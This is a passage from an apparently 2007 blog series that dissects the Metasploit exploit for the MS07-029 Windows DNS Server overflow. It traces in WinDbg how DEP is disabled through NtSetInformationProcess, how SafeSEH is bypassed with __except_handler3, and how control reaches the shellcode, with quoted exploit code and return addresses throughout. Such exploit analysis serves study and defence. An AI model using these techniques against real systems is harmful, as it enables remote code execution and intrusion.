bold;">7ffe0270 00000004</span> 32395052 55434731</p> <p class="MsoNormal">The value <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a8109e</span> is the return address after execute sysenter instruction. The next 4 bytes are something that you can ignore. The next 16 bytes are the parameters passed to NtSetInformationProcess which in this line of code:</p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')</span><o:p></o:p></p> <p class="MsoNormal"><o:p></o:p>So the process will call NtSetInformationProcess like this:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">NtSetInformationProcess(-1, 0x22, 7ffe0270, 4)</span></p> <p class="MsoNormal"><o:p></o:p><span style="font-weight: bold; color: rgb(51, 102, 255);">-1</span>: process handler. Pass -1 means NtCurrentProcess<br /><span style="font-weight: bold; color: rgb(51, 102, 255);">0x22</span>: ProcessExecuteFlags<br /><span style="color: rgb(51, 102, 255); font-weight: bold;">7ffe0270</span>: Address of Execute Flags which should point to 0x2<br /><span style="font-weight: bold; color: rgb(51, 102, 255);">4</span>: size of Execute Flags</p> <p class="MsoNormal">In paper from <a style="font-weight: bold;" href="http://uninformed.org/?v=2&a=4">uninformed.org</a>, calling NtSetInformationProcess with these parameters will disable hardware-enforced DEP or NX.<span lang="TH"> </span>Before continue, I have to understand the meaning of 0x22 and 0xffe0270.</p> <p class="MsoNormal"><o:p></o:p>What’s the value 0x22 for ProcessExecuteFlags parameter. The answer is in <a style="font-weight: bold;" href="http://groups.google.com/group/microsoft.public.win32.programmer.kernel/msg/94c72f3679a0d53b?">this google group</a></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dt _KEXECUTE_OPTIONS<br />ntdll!_KEXECUTE_OPTIONS</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style=""></span>+0x000 ExecuteDisable<span style=""> </span>: Pos 0, 1 Bit<br /><span style=""></span>+0x000 ExecuteEnable<span style=""> </span>: Pos 1, 1 Bit<br /><span style=""></span>+0x000 DisableThunkEmulation : Pos 2, 1 Bit<br /><span style=""></span>+0x000 Permanent<span style=""> </span>: Pos 3, 1 Bit<br /><span style=""></span>+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit<br /><span style=""></span>+0x000 ImageDispatchEnable : Pos 5, 1 Bit<br /><span style=""></span>+0x000 Spare<span style=""> </span>: Pos 6, 2 Bits</p> <p class="MsoNormal"><o:p></o:p>The value 0x22 when represented in binary format will be <span style="font-weight: bold; color: rgb(51, 102, 255);">0x0010 0010</span>. So the bits that enable are Pos 1 (<span style="font-weight: bold; color: rgb(51, 102, 255);">ExecuteEnable</span>) and Pos 5 (<span style="color: rgb(51, 102, 255); font-weight: bold;">ImageDispatchEnable</span>). So, calling NtSetInformationProcess will let the whole areas of the image are executable. </p> <p class="MsoNormal"><o:p></o:p>Then, turn to <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe0270</span>. What’s it ? I know it’s the pointer to 0x2 value:</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd 7ffe0270<br />7ffe0270<span style=""> </span>00000002 01010000 00010000 00010001</p> <p class="MsoNormal"><o:p></o:p>And it’s the offset <span style="font-weight: bold; color: rgb(51, 102, 255);">+0x270</span> from <span style="font-weight: bold; color: rgb(51, 102, 255);">KUSER_SHARED_DATA</span></p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">0:007> dt ntdll!_KUSER_SHARED_DATA</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style=""></span>+0x26c NtMajorVersion<span style=""> </span>: Uint4B<br /><span style=""></span>+0x270 NtMinorVersion<span style=""> </span>: Uint4B<br /><span style=""></span>+0x274 ProcessorFeatures : [64] UChar</p> <p class="MsoNormal"><o:p></o:p>The address <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe0270</span> is a pointer to <span style="font-weight: bold; color: rgb(51, 102, 255);">NtMinorVersion</span> which is <span style="font-weight: bold; color: rgb(51, 102, 255);">0x2</span>. The word “NtMinorVersion” lets me remember something. It’s a minor version number of Windows 2003 Server operating system (Windows 2003 Server version is <span style="font-weight: bold; color: rgb(51, 102, 255);">5.2</span>). Then I verify my assumption by look at the value that <span style="font-weight: bold; color: rgb(51, 102, 255);">0x7ffe026c</span> – <span style="font-weight: bold; color: rgb(51, 102, 255);">NtMajorVersion</span> – point to.</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd 0x7ffe026c<br />7ffe026c<span style=""> </span>00000005 00000002 01010000 00010000</p> <p class="MsoNormal"><o:p></o:p>It points to<span style="font-weight: bold; color: rgb(51, 102, 255);"> 0x5 </span>which is major version number of Windows 2003 Server operating system.</p> <p class="MsoNormal">Now back to the analysis process. After the call of NtSetInformationProcess, the NX would be disabled and the flow of execution is transferred to 0x76a8109e – after the call dword ptr [ecx] instruction at 0x76a8109c<br /></p><p class="MsoNormal"> </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!AtlComQIPtrAssign+0x25:<br />76a8109e<span style=""> </span><span style=""> </span>test<span style=""> </span>edi,edi</p> <p class="MsoNormal">When back to 0x76a8109e, the process executes 2 -3 instructions and then <span style="font-weight: bold; color: rgb(51, 102, 255);">crash again</span> at 0x76a810a8 – ATL!AtlComQIPtrAssign+0x2f:</p><p class="MsoNormal"> </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!AtlComQIPtrAssign+0x2f:<br />76a810a8<span style=""> </span>mov<span style=""> </span>eax,dword ptr [esi]<span style=""> </span>ds:0023:6447504f=????????</p> <p class="MsoNormal">And then our fake exception handler is called again:</p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">ntdll!ExecuteHandler2+0x24:</span><br /><span style="color: rgb(0, 153, 0);">7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (</span><span style="font-weight: bold; color: rgb(0, 153, 0);">76a82566</span><span style="color: rgb(0, 153, 0);">)}</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:<br />76a82566<span style=""> </span>add<span style=""> </span>ebp,5Ach</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:<br />76a8256c<span style=""> </span>leave</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"><o:p></o:p>ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:<br />76a8256d<span style=""> </span>ret<span style=""> </span>14h</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd esp<br />0139fae8<span style=""> </span><span style="font-weight: bold;">76a935bf</span> 696e504a 77434a69 46555951</p> <p class="MsoNormal"><o:p></o:p>The value <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a935bf</span> on the stack is in line: </p> <p class="MsoNormal"> </p><p style="color: rgb(0, 153, 0);" class="MsoNormal">txt[ off, 4 ] = [ib + 0x135bf].pack('V')</p> <p class="MsoNormal"><o:p></o:p>and its purpose is to execute the jmp esp instruction. </p> <p class="MsoNormal"><o:p></o:p><span style="color: rgb(0, 153, 0);">0:007> p</span><br /><span style="color: rgb(0, 153, 0);">eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000</span><br /><span style="color: rgb(0, 153, 0);">eip=76a935bf esp=0139fb00 ebp=4242666d iopl=0 nv up ei pl nz ac pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">ATL!__pfnDliNotifyHook2 <perf> (ATL+0x135bf):<br />76a935bf<span style=""> </span>jmp<span style=""> </span>esp {0139fb00}</perf></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:007> dd esp<br />0139fb00<span style=""> </span><span style="font-weight: bold;">cccccccc</span> 047f0566 43d43924 b2fc3b46</p> <p class="MsoNormal"><o:p> </o:p>And then reach out shellcode :)</p> <p class="MsoNormal"><o:p></o:p>Finally, because of the post is very long, so I try to create a picture that demonstrates the flow of instructions and the purpose of them. It may be help you understand the concept of this exploit.<o:p></o:p></p><br /><a href="http://photobucket.com/" target="_blank"><img src="http://i136.photobucket.com/albums/q196/triratp/DisableNX/DisableNX.png" alt="Photo Sharing and Video Hosting at Photobucket" border="0" /></a>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com2tag:blogger.com,1999:blog-30260908.post-9956282138942022472007-07-04T22:17:00.000+07:002007-07-06T14:28:15.438+07:00MS07-029 Series - Part 3: Exploiting the DNS Server holes on Windows 2003 Server SP0 - __except_handler3 methodThis is the third post in MS07-029 series and the second post about how to exploit this vulnerability in Windows 2003 Server environment. However, instead of discuss about Windows 2003 Server SP1/SP2 same as the last post, in this post I will describe about the exploitation technique in Windows 2003 Server SP0 - <span style="font-weight: bold; color: rgb(51, 51, 255);">__except_handler3 </span><span style="color: rgb(51, 51, 255);"><span style="color: rgb(0, 0, 0);">method</span></span>.<br /><br />What's <span style="color: rgb(51, 51, 255); font-weight: bold;">__except_handler3 </span>? It is the code that exception handler pointer in every EXCEPTION_REGISTRATION on the stack point to. It's always called when the exception handler is activated. I suggest you read <a href="http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html">this research</a> to understand the concept how we can use __except_handler3 in the SEH exploitation.<br /><br />Now, I will start the research by looking the metasploit code for Windows 2003 Server SP0 target in msdns_zonename.rb:<br /><br /><span style="color: rgb(0, 153, 0);">[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [<span style="font-weight: bold;">0x77f45a34</span> , <span style="font-weight: bold;">0x77f7e7f0</span>, <span style="font-weight: bold;">0x76a935bf</span>] } ]</span><br /><br />The first question about the code is that why there are 3 return addresses on the target. The address <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f45a34</span> is the address of __except_handler3 in Windows 2003 Server SP0.<br /><br />The address <span style="font-weight: bold; color: rgb(51, 51, 255);">0x76a935bf </span>is the address of "<span style="font-weight: bold; color: rgb(51, 51, 255);">jmp esp</span>" instruction in <span style="font-weight: bold; color: rgb(51, 51, 255);">ATL.dll</span>. For <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f7e7f0</span>, I will describe it later because I think it would be clear how many important of this address if I use it in the real situation.<br /><br />there is another code section that I have to try to understand:<br /><span style="color: rgb(0, 153, 0);"><br /># addr = <span style="font-weight: bold;">A + B*12 + 4</span> = <span style="font-weight: bold;">0x77f7e7f0</span> (ntdll -> <span style="font-weight: bold;">0x77f443c9</span>)</span><span style="color: rgb(0, 153, 0);"><br />addr = mytarget['Rets'][1] - 4</span><span style="color: rgb(0, 153, 0);"><br />addr1 = addr / 2</span><span style="color: rgb(0, 153, 0);"><br />addr2 = addr1 + addr % 2</span><span style="color: rgb(0, 153, 0);"><br />addr1 = addr1 + (addr2 % 12)</span><span style="color: rgb(0, 153, 0);"><br />addr2 = addr2 / 12</span><br /><span style="color: rgb(0, 153, 0);"><br />txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B</span><br /><br />The function of this code is to find the value of A and B that make <span style="font-weight: bold; color: rgb(51, 51, 255);">A + B * 12 + 4</span> = <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f7e7f0</span> - the second return address of this target. After this calculation the addr1/A is <span style="font-weight: bold; color: rgb(204, 0, 0);">0x3bfbf400 </span>and addr2/B is <span style="color: rgb(204, 0, 0); font-weight: bold;">0x04ffa9a9</span>. The address <span style="color: rgb(51, 153, 153); font-weight: bold;">0x77f7e7f0</span> stored the value <span style="color: rgb(51, 153, 153); font-weight: bold;">0x77f44ec9</span>. I try disassemble<span style="font-weight: bold;"> </span><span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f44ec9</span>:<br /><span style="color: rgb(0, 153, 0);"></span><br /><span style="color: rgb(0, 153, 0);">ntdll!memcpy+0x143:</span><span style="color: rgb(0, 153, 0);"><br />77f443c9 ff249510e8f777 jmp dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4]</span><span style="color: rgb(0, 153, 0);"><br />77f443d0 8b4508 mov eax,dword ptr [ebp+8]</span><span style="color: rgb(0, 153, 0);"><br />77f443d3 5e pop esi</span><span style="color: rgb(0, 153, 0);"><br />77f443d4 5f pop edi</span><span style="color: rgb(0, 153, 0);"><br />77f443d5 c9 leave</span><span style="color: rgb(0, 153, 0);"><br />77f443d6 c3 ret </span><br /><br />Its function is do a little thing and then jump the the address that stored on the stack. Don't mind if you don't know the important of the address at this time. I will describe later about it.<br /><br />Before I'm going to the debugging phase, I have to find out what's the equation <span style="font-weight: bold; color: rgb(51, 51, 255);">A + B * 12 + 4 = 0x77f7e7f0</span>. I decide disassemble __except_handler3:<br /><br /><span style="color: rgb(0, 153, 0);">ntdll!_except_handler3:</span><br /><span style="color: rgb(0, 153, 0);">77f45a34 55 push ebp</span><br /><span style="color: rgb(0, 153, 0);">77f45a35 8bec mov ebp,esp</span><br /><span style="color: rgb(0, 153, 0);">77f45a37 83ec08 sub esp,8</span><br /><span style="color: rgb(0, 153, 0);">...<br /></span><br /><span style="color: rgb(0, 153, 0);">0:006> u</span><span style="color: rgb(0, 153, 0);"><br />ntdll!_except_handler3+0xb:</span><span style="color: rgb(0, 153, 0);"><br />77f45a3f 8b5d0c <span style="font-weight: bold;">mov ebx,dword ptr [ebp+0Ch]</span></span><span style="color: rgb(0, 153, 0);"><br />...</span><br /><p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style=""></span><span style=""></span></p><p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style=""></span><span style=""></span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"> </p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">0:006> u</span><span style="color: rgb(0, 153, 0);"><br />ntdll!_except_handler3+0x2a:</span><span style="color: rgb(0, 153, 0);"><br />77f45a5e 8943fc mov dword ptr [ebx-4],eax</span><span style="color: rgb(0, 153, 0);"><br />77f45a61 8b730c </span><b style="color: rgb(0, 153, 0);"><span style=""> </span>mov<span style=""> </span>esi,dword ptr [ebx+0Ch]</b><span style="color: rgb(0, 153, 0);"><br />77f45a64 8b7b08 </span><b style="color: rgb(0, 153, 0);"><span style=""> </span>mov<span style=""> </span>edi,dword ptr [ebx+8]</b><span style="color: rgb(0, 153, 0);"><br />...</span><span style=""></span><span style=""><br /></span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> u<br />ntdll!_except_handler3+0x41:<br />77f45a75 8d0c76<span style=""> </span><b><span style=""> </span>lea<span style=""> </span>ecx,[esi+esi*2]<br />77f45a78 8b448f04<span style=""> </span>mov<span style=""> </span>eax,dword ptr [edi+ecx*4+4]<o:p></o:p><br /></b>77f45a7c 0bc0<span style=""> </span>or<span style=""> </span>eax,eax<b><o:p></o:p><o:p></o:p></b><br />...<span style=""></span><span style=""></span><br /></p> <p class="MsoNormal"><span style="color: rgb(0, 153, 0);">0:006> u</span><br /><span style="color: rgb(0, 153, 0);">ntdll!_except_handler3+0x53:</span><br /><span style="color: rgb(0, 153, 0);">77f45a87 33c9 xor ecx,ecx</span><br /><span style="color: rgb(0, 153, 0);">77f45a89 33d2 xor edx,edx</span><br /><span style="color: rgb(0, 153, 0);">...</span><br /><b><span style="color: rgb(0, 153, 0);">77f45a8f ffd0 call eax</span></b><br /><span style="color: rgb(0, 153, 0);">...</span><br /><b><o:p></o:p></b></p> If you have already read <a href="http://www.eeye.com/html/resources/newsletters/vice/VI20060830.html">EEYE paper</a>, you will see that if we can control the value of eax, we will able to use the instruction "<span style="font-weight: bold; color: rgb(51, 51, 255);">call eax</span>" at the address <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f45a8f </span>to jump to our payload or something like that. To control the eax, we have to control the value of <span style="font-weight: bold; color: rgb(51, 51, 255);">edi + ecx*4 + 4</span> at the address 0x77f45a78. At this address the eax value is copied with the value stored in edi + ecx*4 + 4. Because we have to set <span style="color: rgb(51, 51, 255); font-weight: bold;">eax</span><span style="font-weight: bold;"> </span>to the value <span style="color: rgb(51, 51, 255); font-weight: bold;">0x77f44ec9</span> which stored at <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f7e7f0</span>, so we get the equation:<br /><br /><span style="color: rgb(0, 153, 0);"> edi + ecx * 4 + 4 = 0x77f7e7f0.</span><br /><br />Now look at the address 0x77f45a75, the instruction lea ecx, [esi + esi * 2]. This instruction is equivalent to move the value esi * 3 to ecx. I replace ecx with esi * 3 in the equation:<br /><br /><span style="color: rgb(0, 153, 0);">edi + (esi * 3) * 4 + 4 = 0x77f7e7f0 --> <span style="font-weight: bold;">edi + esi * 12 + 4 = 0x77f7e7f0</span></span><br /><br />Do you remember the new equation ? Yes, it is <span style="font-weight: bold; color: rgb(51, 51, 255);">A + B * 12 + 4 = 0x77f7e7f0</span> where edi = A and esi = B.<br /><br />Now, I start the debugging phase. I set break point at 0x77f45a34 - __except_handler3 and run the exploit:<br /><br /><span style="color: rgb(0, 153, 0);">...</span><span style="color: rgb(0, 153, 0);"><br />ntdll!_except_handler3+0xb:</span><span style="color: rgb(0, 153, 0);"><br />77f45a3f 8b5d0c <span style="font-weight: bold;">mov ebx,dword ptr [ebp+0Ch]</span> ss:0023:0118f318=0118fd54</span><span style="color: rgb(0, 153, 0);"><br /><br />0:006> dd ebp + c</span><span style="color: rgb(0, 153, 0);"><br />0118f318 <span style="font-weight: bold;">0118fd54</span> 0118f410 0118f3cc 0118fd54 </span><span style="color: rgb(0, 153, 0);"><br /><br />...</span><span style="color: rgb(0, 153, 0);"><br />0:006> dd 0118fd54</span><span style="color: rgb(0, 153, 0);"><br />0118fd54 424216eb<span style="font-weight: bold;"> 77f45a34 <span style="color: rgb(204, 0, 0);">3bfbf400 04ffa9a9</span></span></span><span style="color: rgb(0, 153, 0);"><br />0118fd64 42424242 <span style="color: rgb(255, 102, 0); font-weight: bold;">76a935bf</span><span style="font-weight: bold;"> </span>fff9b0e9 424242ff</span><span style="color: rgb(0, 153, 0);"><br />0118fd74 42424242 42424242 42424242 42424242f</span><span style="color: rgb(0, 153, 0);"><span style="color: rgb(0, 0, 0);"><br /><br />The instruction at address 0x77f45a3f is the instruction that set ebx with the value pointed by ebp + 0xc. Now ebx is value 0x0118fd54 and point to our payload. The bold <span style="color: rgb(0, 153, 0); font-weight: bold;">green </span>highlighted value is the value of the first return address, <span style="font-weight: bold; color: rgb(0, 153, 0);">0x77f45a34</span> - <span style="font-weight: bold; color: rgb(0, 153, 0);">__except_handler3</span>. The bold <span style="font-weight: bold; color: rgb(153, 0, 0);">brown</span> highlighted value is the value of <span style="font-weight: bold; color: rgb(204, 0, 0);"><span style="color: rgb(153, 0, 0);">A</span> </span>and <span style="font-weight: bold; color: rgb(153, 0, 0);">B</span> that make <span style="color: rgb(153, 0, 0); font-weight: bold;">A + B * 12 + 4 = 0x77f7e7f0</span> - the second return address. The bold <span style="font-weight: bold; color: rgb(255, 102, 0);">orange</span> value is the value of "<span style="color: rgb(255, 102, 0); font-weight: bold;">jmp esp</span>" in <span style="font-weight: bold; color: rgb(255, 102, 0);">ATL.DLL</span>.</span><br /><span style="color: rgb(0, 0, 0);"></span></span><span style="color: rgb(0, 153, 0);"><br />ntdll!_except_handler3+0x2d:</span><span style="color: rgb(0, 153, 0);"><br />77f45a61 8b730c <span style="font-weight: bold;">mov esi,dword ptr [ebx+0Ch]</span> ds:0023:0118fd60=04ffa9a9</span><span style="color: rgb(0, 153, 0);"><br /><br />0:006> dd ebx + C</span><span style="color: rgb(0, 153, 0);"><br />0118fd60 <span style="font-weight: bold;">04ffa9a9</span> 42424242 76a935bf fff9b0e9</span><span style="color: rgb(0, 153, 0);"><br />0118fd70 424242ff 42424242 42424242 42424242</span><span style="color: rgb(0, 153, 0);"><br /><br />...</span><br /><span style="color: rgb(0, 153, 0);">eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 <span style="font-weight: bold;">esi=04ffa9a9</span> edi=00000000</span><br /><span style="color: rgb(0, 153, 0);">eip=77f45a64 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 </span><br /><br />The value of<span style="font-weight: bold; color: rgb(51, 51, 255);"> esi</span> now is <span style="color: rgb(51, 51, 255); font-weight: bold;">0x04ffa9a9</span> - addr2 - at the instruction ntdll!__except_handler3 + 0x2d.<br /><br /><span style="color: rgb(0, 153, 0);">ntdll!_except_handler3+0x30:</span><br /><span style="color: rgb(0, 153, 0);">77f45a64 8b7b08 <span style="font-weight: bold;">mov edi,dword ptr [ebx+8]</span> ds:0023:0118fd5c=3bfbf400</span> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> dd ebx + 8<br />0118fd5c<span style=""> </span><span style="font-weight: bold;">3bfbf400</span> 04ffa9a9 42424242 76a935bf<br />0118fd6c<span style=""> </span>fff9b0e9 424242ff 42424242 42424242</p><span style="color: rgb(0, 153, 0);"> ...</span><br /><span style="color: rgb(0, 153, 0);">eax=0118f304 ebx=0118fd54 ecx=77f45a34 edx=77f68ad0 esi=04ffa9a9 <span style="font-weight: bold;">edi=3bfbf400</span></span><br /><span style="color: rgb(0, 153, 0);">eip=77f45a67 esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 </span><br /><br /><span style=";font-family:Tahoma;font-size:10;" ></span>Now <span style="font-weight: bold; color: rgb(51, 51, 255);">edi</span> is <span style="color: rgb(51, 51, 255);">0x3bfbf400</span> - the addr1.<br /><br /><span style="color: rgb(0, 153, 0);">ntdll!_except_handler3+0x44:</span><br /><span style="color: rgb(0, 153, 0);">77f45a78 8b448f04 <span style="font-weight: bold;">mov eax,dword ptr [edi+ecx*4+4]</span> ds:0023:<span style="font-weight: bold;">77f7e7f0=77f443c9</span></span><br /><br /><span style="color: rgb(0, 153, 0);">0:006> p</span><br /><span style="color: rgb(0, 153, 0);"><span style="font-weight: bold;">eax=77f443c9</span> ebx=0118fd54 ecx=0efefcfb edx=77f68ad0 esi=04ffa9a9 edi=3bfbf400</span><br /><span style="color: rgb(0, 153, 0);">eip=77f45a7c esp=0118f2f4 ebp=0118f30c iopl=0 nv up ei pl nz ac pe cy</span><br /><span style="color: rgb(0, 153, 0);">cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217</span><br /><br />At<span style="color: rgb(51, 51, 255);"> ntdll!__except_handler3 + 0x44</span>, <span style="font-weight: bold; color: rgb(51, 51, 255);">eax</span> is set to <span style="font-weight: bold; color: rgb(51, 51, 255);">0x77f443c9</span>.<br /><br /><span style="color: rgb(0, 153, 0);">0:006> p</span><br /><span style="color: rgb(0, 153, 0);">eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000</span><br /><span style="color: rgb(0, 153, 0);">eip=77f45a8f esp=0118f2ec ebp=0118fd64 iopl=0</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">nv up ei pl zr na pe nc</span><br /><span style="color: rgb(0, 153, 0);">cs=001b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ss=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ds=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">es=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">fs=003b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">gs=0000</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">efl=00000246 </span><p style="color: rgb(0, 153, 0);" class="MsoNormal">ntdll!_except_handler3+0x5b:<br />77f45a8f ffd0<span style=""> </span><span style="font-weight: bold;">call</span><span style="font-weight: bold;"> </span><span style="font-weight: bold;">eax {ntdll!memcpy+0x143 (77f443c9)}</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> bp 77f443c9</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> p<br />Breakpoint 1 hit<br />eax=77f443c9 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000<br />eip=77f443c9 esp=0118f2e8 ebp=0118fd64 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br />cs=001b<span style=""> </span>ss=0023<span style=""> </span>ds=0023<span style=""> </span>es=0023<span style=""> </span>fs=003b<span style=""> </span>gs=0000<span style=""> </span>efl=00000246</p><p style="color: rgb(0, 153, 0);" class="MsoNormal">ntdll!memcpy+0x143:<br />77f443c9 ff249510e8f777<span style=""> </span>jmp<span style=""> </span>dword ptr ntdll!memcpy+0x14c (77f7e810)[edx*4] ds:0023:77f7e810=77f443d0</p><span style="color: rgb(0, 153, 0);"> ...</span><span style="color: rgb(0, 153, 0);"><br />0:006> p</span><span style="color: rgb(0, 153, 0);"><br />eax=fff9b0e9 ebx=00000000 ecx=00000000 edx=00000000 esi=77f45a91 edi=0118f30c</span><span style="color: rgb(0, 153, 0);"><br />eip=77f443d6 esp=0118fd68 ebp=42424242 iopl=0</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">nv up ei pl zr na pe nc</span><span style="color: rgb(0, 153, 0);"><br />cs=001b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ss=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">ds=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">es=0023</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">fs=003b</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">gs=0000</span><span style="color: rgb(0, 153, 0);"> </span><span style="color: rgb(0, 153, 0);">efl=00000246 </span><p style="color: rgb(0, 153, 0);" class="MsoNormal">ntdll!memcpy+0x162:<br />77f443d6 c3<span style="font-weight: bold;"> </span><span style="font-weight: bold;">ret</span></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">...<br />0:006> dd esp<br />0118fd68<span style=""> </span><span style="font-weight: bold;">76a935bf</span> fff9b0e9 424242ff 42424242<br />0118fd78<span style=""> </span>42424242 42424242 42424242 42424242</p><p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style="color: rgb(0, 0, 0);">The flow of execution reach at the address<span style="color: rgb(51, 102, 255);"> </span><span style="font-weight: bold; color: rgb(51, 102, 255);">0x77f443d6</span> - the<span style="font-weight: bold; color: rgb(51, 51, 255);"> <span style="color: rgb(51, 102, 255);">ret</span></span> instruction. This instruction is equivalent to jump to the value stored on the stack. So the flow of execution will transfer to <span style="font-weight: bold; color: rgb(51, 102, 255);">0x76a935bf</span> -<span style="font-weight: bold;"> </span><span style="color: rgb(51, 102, 255); font-weight: bold;">jmp esp</span> on <span style="font-weight: bold; color: rgb(51, 102, 255);">ATL.dll</span>.</span></p><p style="color: rgb(0, 153, 0);" class="MsoNormal"> </p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> u 76a935bf<br />ATL!__pfnDliNotifyHook2 <perf> (ATL+0x135bf):<br />76a935bf ffe4<span style=""> <span style="font-weight: bold;"> </span></span><span style="font-weight: bold;">jmp esp</span></perf></p> <p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> u esp<br />0118fd6c e9b0f9ffff<span style=""> </span><span style="font-weight: bold;">jmp 0118f721</span><br />0118fd71 42<span style=""> </span>inc<span style=""> </span>edx<br />0118fd72 42<span style=""> </span>inc<span style=""> </span>edx<br />0118fd73 42<span style=""> </span>inc<span style=""> </span>edx</p> <p style="color: rgb(0, 153, 0);" class="MsoNormal"> </p><p style="color: rgb(0, 153, 0);" class="MsoNormal">0:006> u <span style="font-weight: bold;">0118f721</span><br />0118f721 <span style="font-weight: bold;">cc int 3</span><br />0118f722 cc<span style=""> </span><span style=""> </span>int<span style=""> </span>3</p><p style="color: rgb(0, 153, 0);" class="MsoNormal"><span style="color: rgb(0, 0, 0);">When jmp to esp, we will see the instruction <span style="color: rgb(51, 102, 255); font-weight: bold;">jmp 0x0118f721 </span>which jump to our shellcode :)</span><br /></p>Trirat Puttaraksahttp://www.blogger.com/profile/05733396334545897735noreply@blogger.com0tag:blogger.com,1999:blog-30260908.post-192840614762788322007-07-01T18:54:00.000+07:002007-07-01T19:31:59.042+07:00MS07-029 Series - Part 2: Exploiting the DNS Server holes on Windows 2003 Server SP1/SP2 - SafeSEH issue<p class="MsoNormal">This is the second post on MS07-029 series. In this post, I describe the exploitation technique used in <span style="color: rgb(51, 51, 255); font-weight: bold;">Windows 2003 Server SP1/SP2 </span>environments. We have to face with<span style="font-weight: bold; color: rgb(51, 51, 255);"> /SafeSEH</span> and hardware-enforced DEP, no /GS in this game because we overwrite the SEH – not the return address on the stack, but I talk about only SafeSEH in this post. For hardware-enforced DEP, I will describe later.</p>I start with writing<span style="font-weight: bold; color: rgb(51, 51, 255);"> 0x41414141</span> to the address of exception handler:<br /> <p style="color: rgb(0, 153, 0);" class="MsoNormal">This exception may be expected and handled.<br />eax=001720b6 ebx=013a0000 ecx=00008042 edx=013a0000 esi=00000003 edi=001720b3<br />eip=01015389 esp=0139f6ac ebp=0139f6b0 iopl=0<span style=""> </span>nv up ei pl zr na pe nc<br 